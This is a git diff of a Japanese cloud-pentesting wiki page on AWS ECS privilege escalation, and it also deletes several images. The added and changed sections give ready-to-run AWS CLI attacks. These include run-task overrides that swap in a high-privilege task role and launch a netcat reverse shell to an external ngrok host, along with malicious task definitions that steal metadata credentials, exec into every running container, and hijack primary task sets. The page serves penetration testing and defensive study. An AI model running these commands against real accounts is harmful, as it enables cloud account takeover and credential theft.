diff --git a/src/images/image (135).png b/src/images/image (135).png deleted file mode 100644 index 0ec903dbf..000000000 Binary files a/src/images/image (135).png and /dev/null differ diff --git a/src/images/image (140).png b/src/images/image (140).png deleted file mode 100644 index 10337014b..000000000 Binary files a/src/images/image (140).png and /dev/null differ diff --git a/src/images/image (150).png b/src/images/image (150).png deleted file mode 100644 index 78b8cafaf..000000000 Binary files a/src/images/image (150).png and /dev/null differ diff --git a/src/images/image (178).png b/src/images/image (178).png deleted file mode 100644 index 8e9a8c2fb..000000000 Binary files a/src/images/image (178).png and /dev/null differ diff --git a/src/images/image (182).png b/src/images/image (182).png deleted file mode 100644 index ecc37ab54..000000000 Binary files a/src/images/image (182).png and /dev/null differ diff --git a/src/images/image (183).png b/src/images/image (183).png deleted file mode 100644 index d15ef1f36..000000000 Binary files a/src/images/image (183).png and /dev/null differ diff --git a/src/images/image (210).png b/src/images/image (210).png deleted file mode 100644 index 96c77e4fb..000000000 Binary files a/src/images/image (210).png and /dev/null differ diff --git a/src/images/image (222).png b/src/images/image (222).png deleted file mode 100644 index 4b08116d8..000000000 Binary files a/src/images/image (222).png and /dev/null differ diff --git a/src/images/image (251).png b/src/images/image (251).png deleted file mode 100644 index 536d3c291..000000000 Binary files a/src/images/image (251).png and /dev/null differ diff --git a/src/images/image (252).png b/src/images/image (252).png deleted file mode 100644 index f2f075bb9..000000000 Binary files a/src/images/image (252).png and /dev/null differ diff --git a/src/images/image (259).png b/src/images/image (259).png deleted file mode 100644 index 95cd08b61..000000000 Binary files a/src/images/image (259).png and /dev/null differ diff --git a/src/images/image (282).png b/src/images/image (282).png deleted file mode 100644 index d383c83f4..000000000 Binary files a/src/images/image (282).png and /dev/null differ diff --git a/src/images/image (31).png b/src/images/image (31).png deleted file mode 100644 index 0f975e105..000000000 Binary files a/src/images/image (31).png and /dev/null differ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index fb25b0a00..cbc2b15d7 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -4,7 +4,7 @@ ## ECS -ECSに関する**詳細情報**は以下を参照してください： +ECSに関する**詳細情報**は以下を参照してください: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -12,7 +12,7 @@ ECSに関する**詳細情報**は以下を参照してください： ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -`iam:PassRole`、`ecs:RegisterTaskDefinition`、および`ecs:RunTask`の権限を悪用する攻撃者は、**メタデータ認証情報を盗む** **悪意のあるコンテナ**を持つ**新しいタスク定義を生成**し、**実行する**ことができます。 +ECSで`iam:PassRole`、`ecs:RegisterTaskDefinition`、`ecs:RunTask`権限を悪用する攻撃者は、メタデータ認証情報を盗む**悪意あるコンテナ**を含む**新しいタスク定義を生成**し、それを**実行**できます。 {{#tabs }} {{#tab name="Reverse Shell" }} @@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#tab name="Webhook" }} -webhook.siteのようなサイトでWebhookを作成します。 +webhook.site のようなサイトで webhook を作成する ```bash # Create file container-definition.json @@ -75,12 +75,58 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#endtabs }} -**潜在的な影響:** 別のECSロールへの直接的な権限昇格。 +**Potential Impact:** 別の ECS role への直接的な privesc。 + +### `iam:PassRole`,`ecs:RunTask` +`iam:PassRole` と `ecs:RunTask` の権限を持つ攻撃者は、**実行ロール**、**タスクロール**、およびコンテナの **コマンド** を変更した新しい ECS タスクを起動できます。`ecs run-task` CLI コマンドには `--overrides` フラグがあり、タスク定義を触ることなく実行時に `executionRoleArn`、`taskRoleArn`、およびコンテナの `command` を変更することが可能です。 + +`taskRoleArn` および `executionRoleArn` に指定された IAM ロールは、信頼ポリシーで `ecs-tasks.amazonaws.com` によるアサイン（assume）が許可/信頼されている必要があります。 + +また、攻撃者は以下を把握している必要があります: +- ECS cluster name +- VPC Subnet +- Security group (If no security group is specified the default one will be used) +- Task Definition Name and revision +- Name of the Container +```bash +aws ecs run-task \ +--cluster \ +--launch-type FARGATE \ +--network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \ +--task-definition \ +--overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": , +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +上のコードスニペットでは攻撃者は `taskRoleArn` の値だけを上書きしています。しかし、攻撃が成立するには、攻撃者がコマンドで指定された `taskRoleArn` とタスク定義で指定された `executionRoleArn` に対して `iam:PassRole` 権限を持っている必要があります。 + +攻撃者が渡すことのできる IAM ロールに ECR からイメージをプルして ECS タスクを起動するための十分な権限（`ecr:BatchCheckLayerAvailability`、`ecr:GetDownloadUrlForLayer`、`ecr:BatchGetImage`、`ecr:GetAuthorizationToken`）がある場合、攻撃者は `ecs run-task` コマンドで `executionRoleArn` と `taskRoleArn` の両方に同じ IAM ロールを指定できます。 +```sh +aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": "", +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +**Potential Impact:** 任意の ECS task role への直接的な privesc。 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -前の例と同様に、ECSで**`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`**の権限を悪用する攻撃者は、**悪意のあるコンテナ**を持つ**新しいタスク定義**を**生成**し、それを**実行**することができます。\ -ただし、この場合、悪意のあるタスク定義を実行するためのコンテナインスタンスが必要です。 +前の例と同様、攻撃者が ECS の **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 権限を悪用すると、**新しいタスク定義を生成**し、**メタデータ認証情報を窃取する悪意あるコンテナ**を含めてそれを**実行**できます。\ +ただし、この場合、悪意あるタスク定義を実行するためのコンテナインスタンスが必要です。 ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -96,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \ ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` -**潜在的な影響:** すべてのECSロールへの直接的な権限昇格。 +**潜在的な影響:** 任意のECSロールに対する直接的な privesc. -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -前の例と同様に、攻撃者がECSの**`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`**または**`ecs:CreateService`**の権限を悪用することで、**メタデータの認証情報を盗む悪意のあるコンテナ**を持つ**新しいタスク定義を生成**し、**少なくとも1つのタスクが実行されている新しいサービスを作成することで実行することができます。** +前の例と同様、ECSで **`iam:PassRole`、`ecs:RegisterTaskDefinition`、`ecs:UpdateService`** または **`ecs:CreateService`** の権限を悪用する攻撃者は、**新しいタスク定義を生成し**、**メタデータ資格情報を窃取する悪意あるコンテナ** を含め、**少なくとも1つのタスクを稼働させた状態で新しいサービスを作成してそれを実行する** ことができます。 ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -123,11 +169,12 @@ aws ecs update-service --cluster \ --service \ --task-definition ``` -**潜在的な影響:** どのECSロールにも直接的な権限昇格。 +**想定される影響:** 任意の ECS role への直接 privesc。 ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -実際、これらの権限だけで、オーバーライドを使用して任意のロールでコンテナ内で任意のコマンドを実行することが可能です。 + +実際には、これらの権限だけで overrides を利用して、任意の role を持つコンテナ内で任意のコマンドを実行することが可能です。例えば次のように: ```bash aws ecs run-task \ --task-definition "" \ @@ -135,16 +182,16 @@ aws ecs run-task \ --cluster \ --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` -**潜在的な影響:** すべてのECSロールへの直接的な権限昇格。 +**潜在的影響:** 直接的な privesc により任意の ECS role に対して権限昇格が可能になる。 ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -このシナリオは前のものと似ていますが、**`iam:PassRole`** 権限が**ない**点が異なります。\ -これは依然として興味深いです。なぜなら、たとえロールなしであっても任意のコンテナを実行できる場合、**特権コンテナを実行して**ノードに逃げ込み、**EC2 IAMロール**やノードで実行されている**他のECSコンテナのロール**を**盗む**ことができるからです。\ -さらに、あなたが侵害したEC2インスタンス内で**他のタスクを実行させる**こともでき、その資格情報を盗むことができます（[**ノードへの権限昇格セクション**](aws-ecs-privesc.md#privesc-to-node)で説明されています）。 +このシナリオは以前のものと似ていますが、**`iam:PassRole`** 権限が**ありません**。\ +任意のコンテナを実行できる場合、たとえ role を持たないコンテナであっても、ノードに脱出するために**特権コンテナを実行する**ことで、ノード上で動作している**EC2 の IAM role を盗む**ことや、ノード上の**他の ECS コンテナの roles**を奪うことが可能になります。\ +さらに、侵害した EC2 インスタンス内で**他のタスクを強制的に実行させ**て、それらの認証情報を盗むことすら可能です（詳細は [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) を参照）。 > [!WARNING] -> この攻撃は、**ECSクラスターがEC2**インスタンスを使用している場合にのみ可能であり、Fargateではありません。 +> この攻撃は **ECS cluster が EC2 を使用している** インスタンスでのみ可能で、Fargate では実行できません。 ```bash printf '[ { @@ -187,12 +234,11 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -**`ecs:ExecuteCommand`** と **`ecs:DescribeTasks`** を持つ攻撃者は、実行中のコンテナ内で **コマンドを実行** し、それに付随するIAMロールを抽出することができます（`aws ecs execute-command` を実行するためには describe 権限が必要です）。\ -しかし、そのためには、コンテナインスタンスが **ExecuteCommandエージェント** を実行している必要があります（デフォルトでは実行されていません）。 +**`ecs:ExecuteCommand`、`ecs:DescribeTasks`** を持つ攻撃者は、実行中のコンテナ内で **execute commands** し、そこに紐づいた IAM ロールを exfiltrate できます（`aws ecs execute-command` を実行するには describe 権限が必要です）。\ ただし、それを行うにはコンテナインスタンスが **ExecuteCommand agent** を実行している必要があります（デフォルトでは実行されていません）。 -したがって、攻撃者は以下を試みることができます： +したがって、攻撃者は次のことを試みる可能性があります： -- **すべての実行中のコンテナでコマンドを実行しようとする** +- **すべての実行中のコンテナでコマンドを実行してみる** ```bash # List enableExecuteCommand on each task for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do @@ -210,18 +256,18 @@ aws ecs execute-command --interactive \ --cluster "$CLUSTER_ARN" \ --task "$TASK_ARN" ``` -- もし彼が **`ecs:RunTask`** を持っている場合、`aws ecs run-task --enable-execute-command [...]` でタスクを実行します。 -- もし彼が **`ecs:StartTask`** を持っている場合、`aws ecs start-task --enable-execute-command [...]` でタスクを実行します。 -- もし彼が **`ecs:CreateService`** を持っている場合、`aws ecs create-service --enable-execute-command [...]` でサービスを作成します。 -- もし彼が **`ecs:UpdateService`** を持っている場合、`aws ecs update-service --enable-execute-command [...]` でサービスを更新します。 +- 権限に **`ecs:RunTask`** がある場合は、`aws ecs run-task --enable-execute-command [...]` を実行してタスクを起動します。 +- 権限に **`ecs:StartTask`** がある場合は、`aws ecs start-task --enable-execute-command [...]` を実行してタスクを起動します。 +- 権限に **`ecs:CreateService`** がある場合は、`aws ecs create-service --enable-execute-command [...]` でサービスを作成します。 +- 権限に **`ecs:UpdateService`** がある場合は、`aws ecs update-service --enable-execute-command [...]` でサービスを更新します。 -**これらのオプションの例**は **以前のECSプライベートエスカレーションセクション**にあります。 +これらのオプションの**例は以前の ECS privesc セクションにあります**。 -**潜在的な影響:** コンテナに付随する別のロールへのプライベートエスカレーション。 +**潜在的な影響:** コンテナに紐付いた別のロールへの Privesc。 ### `ssm:StartSession` -**ssmプライベートエスカレーションページ**で、この権限をどのように悪用して **ECSへのプライベートエスカレーション**ができるかを確認してください： +この権限を悪用して **ECS に privesc する方法** は、**ssm privesc ページ** を確認してください： {{#ref}} aws-ssm-privesc.md @@ -229,24 +275,26 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -**ec2プライベートエスカレーションページ**で、これらの権限をどのように悪用して **ECSへのプライベートエスカレーション**ができるかを確認してください： +これらの権限を悪用して **ECS に privesc する方法** は、**ec2 privesc ページ** を確認してください： {{#ref}} aws-ec2-privesc.md {{#endref}} -### `?ecs:RegisterContainerInstance` +### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` -TODO: 攻撃者が制御するマシンでタスクが実行されるように、別のAWSアカウントからインスタンスを登録することは可能ですか？ +これらの権限を持つ攻撃者は、ECS クラスターに EC2 インスタンスを登録し、その上でタスクを実行する可能性があります。これにより攻撃者は ECS タスクのコンテキスト内で任意のコードを実行できるようになります。 + +- TODO: 異なる AWS アカウントからインスタンスを登録し、タスクが攻撃者の制御するマシン上で実行されるようにすることは可能か?? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] -> TODO: これをテストする +> TODO: テストする -`ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet`、および `ecs:DescribeTaskSets` の権限を持つ攻撃者は、**既存のECSサービスのために悪意のあるタスクセットを作成し、プライマリタスクセットを更新する**ことができます。これにより、攻撃者は **サービス内で任意のコードを実行する**ことができます。 +`ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet`、および `ecs:DescribeTaskSets` の権限を持つ攻撃者は、既存の ECS サービスのために **悪意のある task set を作成し、primary task set を更新する** ことができます。これにより攻撃者はサービス内で **任意のコードを実行する** ことが可能になります。 ```bash -bashCopy code# Register a task definition with a reverse shell +# Register a task definition with a reverse shell echo '{ "family": "malicious-task", "containerDefinitions": [ @@ -270,9 +318,9 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**潜在的影響**: 影響を受けたサービスで任意のコードを実行し、その機能に影響を与えたり、機密データを抽出したりする可能性があります。 +**潜在的な影響**: 影響を受けたサービス内で Execute arbitrary code を実行でき、その機能に影響を与えたり、exfiltrating sensitive data を行う可能性があります。 -## 参考文献 +## 参考 - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)